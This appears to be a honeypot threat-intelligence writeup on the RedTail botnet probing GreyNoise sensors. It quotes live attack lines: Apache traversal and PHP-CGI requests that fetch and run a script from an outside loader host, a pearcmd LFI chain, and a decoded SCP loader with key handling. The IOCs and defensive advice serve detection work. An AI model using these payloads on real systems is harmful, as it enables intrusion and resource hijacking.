// GreyNoise  ·  writeup

GreyNoise Swarm - One Loader

GreyNoise Medium GreyNoiseWiresharktsharkPythonssh-keygenURLhausAbuseIPDB

Introduction

GreyNoise watches the internet’s background noise: the scanners, botnets and opportunistic exploit traffic that hit every public IP. Through Project Swarm, anyone can run a GreyNoise sensor and keep the full PCAP of everything that hits it. The first three writeups in this series each followed one sensor. This one follows one botnet across the whole fleet.

RedTail has turned up in every writeup so far. Wrong Door traced its Apache exploit and its loader, 217.60.102[.]5, on the Tomcat sensor. Right Door logged “a fourth RedTail node” in passing. When a fifth sensor came online on 10-17, RedTail found it in under two hours with a much bigger exploit menu and a delivery trick I haven’t seen documented anywhere. A search across the whole fleet then showed that the bigger menu had been there all week, on a handful of nodes, behind a crowd that only ever sent the small one.

Credit: This project was inspired by John Hammond’s interview with the creator of GreyNoise, which introduced Project Swarm and the idea of running your own sensors and keeping the PCAPs.

The Sensor Fleet

Five $4/month DigitalOcean droplets, each in a different region. On 10-17 three of them moved to new profiles, and a fifth sensor was added. The table shows the profile each sensor had when RedTail reached it.

SensorRegionProfile when RedTail arrivedRedTail visits (nodes)
Bold EarwigSydney (SYD1)Apache Tomcat 8.0.45 - VULNERABLE6 (6), 10-14 to 10-16, all Apache-only
Vibrant QuetzalSan Francisco (SFO2)React Server Components - VULNERABLE6 (6), 10-14 to 10-18, 3 full menu
Festive GoatFrankfurt (FRA1)WordPress MasterStudy LMS - VULNERABLE4 (4), 10-14 to 10-17, 1 full menu
Modest CatLondon (LON1)MagnusBilling - VULNERABLE1 (1), 10-17, full menu
Pensive MarkhorSingapore (SGP1)Cowrie Telnet / GNU telnetdnot applicable (no web service)

Today’s Sensor: Modest Cat (MagnusBilling)

The newest sensor runs MagnusBilling, an open-source VoIP billing panel built on Asterisk, vulnerable to CVE-2023-30258: unauthenticated command injection through the democ parameter of /mbilling/lib/icepay/icepay.php. It’s a real Apache 2.4.62 on Debian with the app installed, and / answers with a 302 to ./mbilling.

Swarm’s own profile text gets the bug slightly wrong: it says democ.php and a lang parameter. The public PoCs and the Metasploit module go after icepay.php?democ=, so that’s the path I watched for.

Modest Cat registered at 2026-10-17 06:19 UTC. In its first 24 hours it logged about 26,000 sessions. Only 349 were classified malicious, and 18 of those were on port 80. Not one of them asked for icepay.php. The traffic that did arrive was the same internet the other sensors see, and the first exploit kit to show up, at 08:09, was RedTail.

Executive Summary

Between 10-14 and 10-18, sixteen different IP addresses identifying themselves as libredtail-http made 17 visits to four of the five sensors in Sydney, San Francisco, Frankfurt and London. Every request that carried a payload fetched its next stage from the same host: hxxps://217.60.102[.]5/sh. Eleven of the nodes sent only RedTail’s Apache path-traversal pair (CVE-2021-41773 / CVE-2021-42013). The other five, 102.244.97[.]185, 23.27.96[.]188, 144.48.240[.]217, 213.165.53[.]216 and 152.32.225[.]117, each ran the same 49-request menu in under a minute: the Apache pair, five PHP-CGI argument-injection variants, PHPUnit eval-stdin.php at 37 paths, ThinkPHP invokefunction, a two-step pearcmd LFI chain and a Docker API check. Both kinds of node were active from the first day to the last, so this isn’t a botnet upgrading mid-week but two node types working side by side. The payloads label themselves by module (sh -s apache, cve_2024_4577), and the PHP-CGI payload doesn’t just run wget | sh: it writes out an embedded SSH private key and tries to fetch the script with scp as user dlr first, falling back to HTTPS only if that fails. All five full-menu nodes, on three continents across four days, carried the identical key (fingerprint SHA256:O/at8341SoPpKvTPvMsJSgjQm30md9VTS2it25sY0vg, comment dlr@sftp). None of the exploits worked: every sensor answered with 400, 404, 301, 302 or its normal homepage, and none of the success markers came back.

flowchart LR
  BE[Bold Earwig<br/>Tomcat, SYD<br/>6 Apache-only nodes]
  VQ[Vibrant Quetzal<br/>React, SFO<br/>3 Apache-only, 3 full menu]
  FG[Festive Goat<br/>WordPress, FRA<br/>3 Apache-only, 1 full menu]
  MC[Modest Cat<br/>MagnusBilling, LON<br/>1 full menu]
  BE & VQ & FG & MC -. every payload .-> L[(217.60.102.5<br/>/sh over HTTPS<br/>or SCP as dlr)]
  K{{one SSH key<br/>dlr@sftp}} -. carried by all 5 full-menu nodes .-> VQ & FG & MC

Artifacts

One Loader

Every RedTail visit in the fleet-wide export, sorted by time. “Full menu” is the same 49 requests every time; “pair” is the two Apache requests.

Time (UTC)ScannerHosting (country)SensorWhat it sentResult
10-14 05:04163.7.1[.]156BytePlus (ID)Festive Goatpair400
10-14 07:13102.244.97[.]185Orange Cameroun (CM)Vibrant Quetzalfull menuno marker
10-14 07:38185.126.5[.]217Pishgaman (IR)Vibrant QuetzalApache, one request404
10-14 12:1251.158.145[.]102Scaleway (NL)Bold Earwigpair400
10-14 19:55160.250.132[.]238VPS4U (VN)Vibrant Quetzalpair404
10-14 20:2441.223.139[.]111American University of Nigeria (NG)Festive Goatpair400
10-15 04:3565.109.215[.]207Hetzner (FI)Bold Earwigpair400
10-15 22:24157.245.84[.]42DigitalOcean (US)Bold Earwigpair400
10-16 01:3391.107.164[.]22Hetzner (DE)Bold Earwigpair400
10-16 02:1845.140.193[.]140QNAX (BR)Bold Earwigpair400
10-16 04:2489.247.33[.]1101&1 Versatel (DE)Bold Earwigpair400
10-16 23:5751.158.145[.]102Scaleway (NL)Festive GoatApache, one request400
10-17 01:3523.27.96[.]188Evoxt (HK)Festive Goatfull menuno marker
10-17 08:09144.48.240[.]217Law’s Cloud (HK)Modest Catfull menuno marker
10-17 20:50213.165.53[.]216Intezio (DE)Vibrant Quetzalfull menuno marker
10-17 22:07156.227.234[.]198YISU Cloud (JP)Vibrant Quetzalpair404
10-18 03:59152.32.225[.]117UCloud (HK)Vibrant Quetzalfull menu (48 of 49 in the export)no marker

Sixteen source IPs, fifteen hosting providers in twelve countries, four sensors, one download server. Only 51.158.145[.]102 came back, to a different sensor two and a half days later. The nodes are a mix of cloud VPSs, a German ISP line, a Cameroonian telecom and a Nigerian university, which is what a botnet built from compromised machines looks like: each infected host scans for the next one. The three covered in Wrong Door and Right Door are reported to AbuseIPDB mainly for brute force, two of them for SSH, which fits a botnet that recruits over SSH as well as through web exploits.

The Apache pair is identical everywhere:

POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
User-Agent: libredtail-http

(wget --no-check-certificate -qO- https://217.60.102.5/sh || curl -sk https://217.60.102.5/sh) | sh -s apache

The second request swaps .%2e for the double-encoded %%32%65 (CVE-2021-42013). Wrong Door walked through how both work. The new detail is the last word: sh -s apache passes apache to the downloaded script as its first argument.

The Bigger Menu

The five full-menu nodes did much more, and they all did it the same way: the same 49 requests in the same order, over two or three connections, finished in under a minute. On Modest Cat the whole run took 26 seconds.

StepRequestsTargetWhat it sends
12Apache httpd (CVE-2021-41773 / 42013)the loader, tagged apache
25PHP-CGI argument injectionthe SCP loader, tagged cve_2024_4577
337PHPUnit eval-stdin.php (CVE-2017-9841)<?php echo(md5("Hello PHPUnit"));
42ThinkPHP 5.x invokefunction (commonly tracked as CVE-2018-20062)call_user_func_array → md5("Hello")
52pearcmd LFIwrites /tmp/index1.php, then includes it → md5("hi")
61Docker Engine APIGET /containers/json

The menu splits into two kinds of module. The Apache and PHP-CGI modules send the loader straight away, because if the bug is there the payload runs and nothing else is needed. PHPUnit, ThinkPHP and pearcmd only send a check: run md5() on a fixed string and see whether the hash comes back. No hash came back on any sensor. A positive check would presumably trigger a second request carrying the payload, but none of the sensors got far enough to show that.

The whole menu from 23.27.96[.]188 on Festive Goat, in time order: 49 requests in 49 seconds, from the Apache pair at the top to /containers/json at the bottom.

PHP-CGI: one tag, two CVEs

The five PHP-CGI requests try every way of slipping -d options into PHP-CGI through the query string:

POST /hello.world?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input
POST /?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input
POST /index.php?%25ADd+allow_url_include%3D1+%25ADd+auto_prepend_file%3Dphp://input
POST /test.hello?%25ADd+allow_url_include%3D1+%25ADd+auto_prepend_file%3Dphp://input
POST /index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input

The first four are CVE-2024-4577: %AD is a soft hyphen, which Windows’ best-fit code-page conversion turns into - (the %25AD versions are double-encoded for servers that decode twice). The fifth uses a plain -d, which is the 2012 bug it bypasses, CVE-2012-1823. All five bodies are byte-for-byte the same payload with the same cve_2024_4577 tag, so the tag names the module, not the specific CVE. All the sensors run Linux, so none of these could work. WordPress and the React sensor returned their homepages (200), MagnusBilling its 302 to ./mbilling, and the rest 404.

SCP with a baked-in key

The PHP-CGI body is a shell_exec(base64_decode("…")) followed by echo(md5("Hello CVE-2024-4577")) as the success marker. Decoded, with the key removed:

cd /tmp || cd /var/tmp || cd /dev/shm
echo '-----BEGIN OPENSSH PRIVATE KEY----- [removed] -----END OPENSSH PRIVATE KEY-----' > key.ppk
echo 'StrictHostKeyChecking no
UserKnownHostsFile /dev/null' > sshcfg
chmod 400 key.ppk
scp -s -F sshcfg -i key.ppk [email protected]:sh out_sh
if [ $? -eq 0 ]; then
  chmod +x out_sh; sh out_sh cve_2024_4577 >/dev/null 2>&1
else
  (wget --no-check-certificate -qO- https://217.60.102.5/sh || curl -sk https://217.60.102.5/sh) | sh -s cve_2024_4577
fi
rm -rf sshcfg key.ppk out_sh

The decoded PHP-CGI payload as the script prints it, with the key replaced by [REDACTED]. It is all one line in the original.

It picks the first writable temp directory, writes an Ed25519 private key and an SSH config that skips host-key checks, and copies sh from the loader as user dlr. -s makes scp use the SFTP protocol, and the key’s own comment is dlr@sftp, so the account is most likely an SFTP-only download drop. If SCP fails (no scp binary, port 22 blocked outbound), it falls back to the HTTPS loader the Apache module uses. Either way it runs the script with the cve_2024_4577 tag, then deletes the key, the config and the script.

Why bother? The PCAP can’t say, but the design suggests some reasons. A wget to a bare IP over HTTPS is exactly what URL filters, proxies and URLhaus-fed blocklists look for, and hxxps://217.60.102[.]5/sh has been on URLhaus since 10-03. An outbound SSH session looks like administration, gets inspected far less, and its content is encrypted end to end. The key also means only RedTail’s own payload can fetch the script that way. The cost is that the operator has shipped a working login to their own server inside every exploit. I didn’t use it, and I’ve left the key out of this writeup: logging into an attacker’s server is not something a honeypot project gets to do.

I couldn’t find any public reporting of RedTail using SCP with an embedded key. Akamai, Forescout and SANS describe the wget/curl loader, and Beelzebub documented RedTail moving into Docker APIs, but none of them mention this. All five full-menu nodes carried the same key:

$ python3 redtail_keyprint.py 2026-10-18-libredtail-week.pcap
2026-10-14 07:13  102.244.97.185   256 SHA256:O/at8341SoPpKvTPvMsJSgjQm30md9VTS2it25sY0vg dlr@sftp (ED25519)
2026-10-17 01:35  23.27.96.188     256 SHA256:O/at8341SoPpKvTPvMsJSgjQm30md9VTS2it25sY0vg dlr@sftp (ED25519)
2026-10-17 08:09  144.48.240.217   256 SHA256:O/at8341SoPpKvTPvMsJSgjQm30md9VTS2it25sY0vg dlr@sftp (ED25519)
2026-10-17 20:50  213.165.53.216   256 SHA256:O/at8341SoPpKvTPvMsJSgjQm30md9VTS2it25sY0vg dlr@sftp (ED25519)
2026-10-18 03:59  152.32.225.117   256 SHA256:O/at8341SoPpKvTPvMsJSgjQm30md9VTS2it25sY0vg dlr@sftp (ED25519)

The script decodes each PHP-CGI payload, writes the key to a temp file just long enough for ssh-keygen -lf to read it, and prints only the fingerprint.

Five scanners in Cameroon, Hong Kong and Germany, spread over four days, with one key: that’s one operator, not a family of copycats sharing a user-agent. And the key was already in use on 10-14, so the SCP delivery is not a new feature that arrived with the newest sensor.

The pearcmd LFI chain

This is the local file inclusion the Festive Goat and Modest Cat profiles were partly chosen to catch, even though neither is vulnerable to this one:

GET /index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?echo(md5("hi"));?>+/tmp/index1.php
GET /index.php?lang=../../../../../../../../tmp/index1

It needs two things on the target: a PHP app that includes a file named by a parameter (here lang, which the app is assumed to turn into <lang>.php), and PHP’s PEAR installer at /usr/local/lib/php/pearcmd.php, which the official PHP Docker images ship with register_argc_argv turned on. The first request includes pearcmd.php and, because of register_argc_argv, PEAR reads the rest of the query string as its command line: config-create / /tmp/index1.php writes a config file to /tmp/index1.php, with the <?echo(md5("hi"));?> string inside it. The second request includes that file, and PHP runs the code in it. An LFI that can only read files becomes code execution, using a file that already ships in the image.

MagnusBilling answered both with its 302, WordPress with 301 (its canonical redirect), React with 404.

PHPUnit, ThinkPHP and Docker

Two Kinds of Node

My first pass at this used the earlier per-sensor exports, which were filtered to sessions containing a POST. In those, the nodes from 10-14 to 10-16 sent only the Apache pair and the two 10-17 nodes sent the full menu, which looked like a botnet pushing a new build on 10-17. The fleet-wide search for the user-agent killed that idea. 102.244.97[.]185 ran the full menu, SCP key and all, on Vibrant Quetzal at 07:13 on 10-14, and Apache-only nodes were still turning up on 10-17. The earlier export had simply missed it.

So both kinds ran side by side all week: eleven nodes that only ever sent the pair, five that always sent all 49 requests. No node was seen doing both, and 51.158.145[.]102, the one repeat visitor, sent the short version both times. The PCAPs can’t say why. The most likely explanation is two different spreader builds, or one build that picks its modules based on something about the infected host. What doesn’t explain it is the target: the full menu went to React, WordPress and MagnusBilling alike, and it kept going after the Apache pair got 400 or 404, so the sensor’s answers weren’t choosing the menu.

Bold Earwig is the odd one out. It got six RedTail visits, as many as Vibrant Quetzal, and every one was the short version. That could be chance, with five full-menu runs out of seventeen, or something about Sydney or about the Tomcat sensor. There aren’t enough runs to tell. It also stopped being a target on 10-17, when it moved to a Redis profile with no web service, so it was never in the line of fire on the day three of the five full-menu runs arrived.

Also Knocking on Modest Cat

The rest of the port-80 traffic in Modest Cat’s first day:

Who Was Knocking

Hosting for every node is in the One Loader table. The five full-menu nodes and the loader are the ones worth a closer look:

IPSeen asSensorAbuseIPDB
102.244.97[.]185RedTail, full menu (10-14)Vibrant Quetzal100%, 2,147 reports from 833 sources since 2026-09-19; Orange Cameroun, fixed-line ISP; top category Web App Attack (957)
23.27.96[.]188RedTail, full menu (10-17)Festive Goat100%, 29 reports, first reported 2026-10-17; Evoxt, HK data centre; Brute-Force, SSH
144.48.240[.]217RedTail, full menu (10-17)Modest Cat100%, 106 reports since 2022-02-05; Law’s Cloud, HK data centre; Brute-Force, SSH
213.165.53[.]216RedTail, full menu (10-17)Vibrant Quetzal100%, 114 reports, first reported 2026-10-17; Intezio, Frankfurt data centre; Brute-Force, SSH
152.32.225[.]117RedTail, full menu (10-18)Vibrant Quetzal100%, 2,686 reports from 1,190 sources since 2022-11-15; UCloud, HK data centre; Brute-Force (1,997), SSH (1,888)
217.60.102[.]5RedTail loader / SFTP dropall fourSWISSNET (AS209373), NL (Wrong Door)

All five score 100%, and four of the five are reported mostly for SSH brute force, not web attacks: these machines are spreading RedTail over SSH as well as through the web menu. Two of them, 23.27.96[.]188 and 213.165.53[.]216, were first reported on 10-17, the same day they hit the sensors, so they look like freshly compromised (or freshly rented) hosts going straight to work. The odd one out is 102.244.97[.]185, a home or business line in Cameroon whose reports lean towards web attacks, most likely a compromised machine on a normal ISP connection.

URLhaus has tracked 217.60.102[.]5 since 2026-10-03 06:15 UTC, and on 10-18 seven of its eight URLs were still online, fifteen days after the first report. The host resolves to a SWISSNET server and sits on the Spamhaus SBL (SBL699566). Besides /sh, it serves /clean (another shell script) and ELF binaries for five architectures: x86_64, i686, aarch64, arm7 and riscv. That matches public reporting on RedTail’s loader, which works out what CPU it’s running on and fetches the matching miner build. I didn’t download any of them, so this is from URLhaus, not from my own analysis. Several of those entries carry a Prometei tag and one a mirai tag. Those are reporters’ labels, and nothing in these captures links this server to either family. What URLhaus can’t show is the SCP channel: [email protected][.]5:sh isn’t a URL, so a blocklist built from URLs alone will miss the route RedTail tries first.

Attack Summary

PhaseAction
ReconnaissanceSixteen libredtail-http nodes make 17 visits to four sensors between 10-14 and 10-18
Initial AccessApache httpd path traversal to /bin/sh (CVE-2021-41773 / 42013), on every sensor
Initial AccessPHP-CGI argument injection, five variants (CVE-2024-4577, CVE-2012-1823), full-menu nodes only
Reconnaissancemd5() marker checks for PHPUnit (CVE-2017-9841), ThinkPHP invokefunction, pearcmd LFI; Docker /containers/json
Executionsh runs the loader, tagged with the module that delivered it (apache, cve_2024_4577)
Command and ControlLoader fetched with scp -s as dlr using an embedded Ed25519 key, falling back to HTTPS wget / curl
Defense EvasionPayload base64-encoded in shell_exec; host-key checks disabled; key, config and script deleted after running
ImpactRedTail’s goal is XMRig-based Monero mining (public reporting; no miner reached any sensor)

Forensic Timeline

Timestamp (UTC)Event
2026-10-03hxxps://217.60.102[.]5/sh first listed on URLhaus (Wrong Door)
2026-10-14 05:04:42163.7.1[.]156 → Festive Goat: Apache pair → 400 (first RedTail visit in the export)
2026-10-14 07:13:13 – 07:13:45102.244.97[.]185 → Vibrant Quetzal: full menu, SCP loader with the dlr@sftp key → no marker returned
2026-10-14 07:38:55185.126.5[.]217 → Vibrant Quetzal: Apache traversal → 404
2026-10-14 12:12:3951.158.145[.]102 → Bold Earwig: Apache pair → 400
2026-10-14 19:55:59160.250.132[.]238 → Vibrant Quetzal: Apache pair → 404
2026-10-14 20:24:5941.223.139[.]111 → Festive Goat: Apache pair → 400
2026-10-15 04:35:2865.109.215[.]207 → Bold Earwig: Apache pair → 400
2026-10-15 22:24:36 – 2026-10-16 04:24:42Four more Apache-only nodes → Bold Earwig: 157.245.84[.]42, 91.107.164[.]22, 45.140.193[.]140, 89.247.33[.]110
2026-10-16 23:57:3551.158.145[.]102 → Festive Goat: Apache traversal → 400 (second sensor, 2.5 days later)
2026-10-17 01:35:01 – 01:35:5123.27.96[.]188 → Festive Goat: full menu, same key → no marker returned
2026-10-17 06:19Modest Cat (MagnusBilling) registers with GreyNoise
2026-10-17 07:00:49Mozi Netgear setup.cgi loader → Modest Cat
2026-10-17 08:09:41 – 08:10:08144.48.240[.]217 → Modest Cat: full menu, same key → no marker returned (1 h 50 min after registration)
2026-10-17 16:23:44WebSiphon secret sweep starting with litellm_config.yaml → Modest Cat
2026-10-17 20:50:42 – 20:51:35213.165.53[.]216 → Vibrant Quetzal: full menu, same key → no marker returned
2026-10-17 21:36:16Androxgh0st .env + 0x[]=androxgh0st → Modest Cat
2026-10-17 22:07:51156.227.234[.]198 → Vibrant Quetzal: Apache pair → 404
2026-10-18 01:55:02Gravity SMTP mock-data probes → Modest Cat
2026-10-18 03:59:03152.32.225[.]117 → Vibrant Quetzal: full menu, same key, 48 of 49 requests in the export → no marker returned

IOCs

TypeValue
IP (RedTail loader / SFTP drop)217.60.102[.]5
URLhxxps://217.60.102[.]5/sh; SCP [email protected][.]5:sh
SSH key (public fingerprint)SHA256:O/at8341SoPpKvTPvMsJSgjQm30md9VTS2it25sY0vg (Ed25519, comment dlr@sftp)
IP (RedTail full-menu nodes)102.244.97[.]185, 23.27.96[.]188, 144.48.240[.]217, 213.165.53[.]216, 152.32.225[.]117
IP (RedTail Apache-only nodes)163.7.1[.]156, 185.126.5[.]217, 51.158.145[.]102, 160.250.132[.]238, 41.223.139[.]111, 65.109.215[.]207, 157.245.84[.]42, 91.107.164[.]22, 45.140.193[.]140, 89.247.33[.]110, 156.227.234[.]198
User-Agentlibredtail-http
Module tagssh -s apache, sh -s cve_2024_4577, sh out_sh cve_2024_4577
Dropped files (deleted after run)key.ppk, sshcfg, out_sh in /tmp, /var/tmp or /dev/shm
Marker stringsmd5("Hello CVE-2024-4577"), md5("Hello PHPUnit"), md5("Hello"), md5("hi")
LFI write path/tmp/index1.php (pearcmd config-create)
IP (secret hunting)137.23.38[.]53, 147.224.168[.]149 (WebSiphon/next-0.1)
IP (Androxgh0st)213.254.175[.]83
IP (Gravity SMTP probes)185.177.72[.]24
IP (Mozi)223.123.126[.]147 (Mozi.m on port 60018)

MITRE ATT&CK

TechniqueIDDescription
Vulnerability ScanningT1595.002md5() marker checks for PHPUnit, ThinkPHP and pearcmd; Docker /containers/json
Exploit Public-Facing ApplicationT1190Apache traversal, PHP-CGI argument injection, pearcmd LFI to code execution
Unix ShellT1059.004Loader piped to sh with a module tag as its argument
Obfuscated Files or InformationT1027SCP loader base64-encoded inside shell_exec(base64_decode(…))
Ingress Tool TransferT1105scp, wget and curl fetching sh from 217.60.102[.]5
Application Layer Protocol: File Transfer ProtocolsT1071.002SFTP (scp -s) as the first-choice download channel
File DeletionT1070.004rm -rf sshcfg key.ppk out_sh after the script runs
Resource HijackingT1496RedTail’s purpose is Monero mining (public reporting)

Defender Takeaways

Outbound SSH from a web server is a detection. A PHP or Apache process spawning scp or ssh to an IP address, with StrictHostKeyChecking no, is never normal. Most egress filtering is aimed at HTTP; RedTail now tries port 22 first. Allow web servers outbound only to what they actually need.

Hunt for the files, even though they get deleted. key.ppk, sshcfg and out_sh exist in /tmp, /var/tmp or /dev/shm for a few seconds. File-creation telemetry from an EDR, or auditd on those directories, catches them. An OpenSSH private key written by the web server user is enough for an alert on its own.

Use the fingerprint, not just the IP. The loader IP will change. A key reused across nodes is a better pivot: the fingerprint above identifies this operator wherever the key turns up, including on the server side if the SFTP host is ever taken down and examined.

Patch the boring things. PHPUnit’s eval-stdin.php is from 2017, the Apache traversal from 2021, ThinkPHP from 2018. They’re still in a botnet’s menu in 2026 because they still work somewhere. Don’t ship vendor/ and test tooling to production web roots, and remove pearcmd.php from PHP images or turn register_argc_argv off.

One sensor is an anecdote, four are a campaign, and filters can lie. Each sensor on its own saw a handful of RedTail visits. Lining them all up showed one loader, sixteen nodes and one SSH key shared across three continents. My first pass, built from exports filtered to POST requests, also produced a confident story about a botnet upgrading on 10-17 that one unfiltered search for the user-agent disproved. Pivot on the indicator itself (here the user-agent) across everything you have before drawing a timeline from a filtered slice.

Conclusion

RedTail found every web sensor in the fleet, including one that had been online for less than two hours. Sixteen IP addresses on fifteen hosting providers did the scanning, and every payload they sent led back to one server in Amsterdam. Most of them sent the same two Apache requests Wrong Door picked apart. A few, from the first day to the last, sent nearly fifty requests per target, covering PHP-CGI, PHPUnit, ThinkPHP, a pearcmd LFI chain and Docker, and fetched their payload over SFTP with a private key baked into the exploit.

None of it worked on these sensors: none of them is vulnerable to anything on the list, and every success marker stayed silent. MagnusBilling’s own bug, the one Modest Cat was built to catch, hasn’t been tried once yet. What the sensors did catch is one operator running two kinds of node at once, and a delivery trick that hands a working login to the attacker’s own server to everyone it attacks.

Part two: What the Loader Does reads the /sh and /clean scripts and the miner this loader hands out.